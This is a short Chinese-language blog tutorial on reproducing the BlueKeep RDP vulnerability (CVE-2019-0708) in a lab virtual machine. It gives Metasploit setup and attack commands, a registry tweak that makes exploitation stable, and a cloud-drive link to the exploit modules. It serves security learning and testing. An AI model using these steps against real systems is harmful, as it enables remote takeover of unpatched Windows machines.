'bluekeep漏洞复现'

发表于 更新于 分类于 阅读次数：

准备工作

打开虚拟机
开启远程桌面连接


查看3389端口是否打开

修改注册表（win键+R 搜索regedit打开注册表）
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp\fDisableCam]值修改为0才能稳定利用

打开kali

vi etc/apt/sources.list添加国内源（我这里添加的是阿里云的）

执行更新和下载msf
apt-get update
apt-get install metasploit-framework
（出问题请尝试修复apt --fix-broken install）

启动神器msfconsole

search 0708
查看是否存在cve_2019_0708_bluekeep漏洞利用

准备攻击工具
https://pan.baidu.com/s/1q-mbYQFtU1GBuJfThMk8VQ 提取码: mffr

把脚本放在msf对应的目录下

1
2
3
4
5
6
7
8
9
10
11
rdp.rb -> 
/usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb

rdp_scanner.rb -> 
/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb

cve_2019_0708_bluekeep.rb ->
/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

cve_2019_0708_bluekeep_rce.rb ->   
/usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb(该文件目录不存在需要自己新建)

将文件一一放到指定位置

使用msfconsole进入metasploit-framework
进入以后使用reload_all重新加载0708rdp利用模块
使用use exploit/windows/rdp/cve_2019_0708_bluekeep_rce启用0708RDP攻击模块
set rhosts 设置靶机ip
set target id(0-4) 设置受害机及其架构
exploit 开始攻击，等待建立连接

参考链接：https://mp.weixin.qq.com/s/4s7UkJXKaD3iSvOB2M_CWQ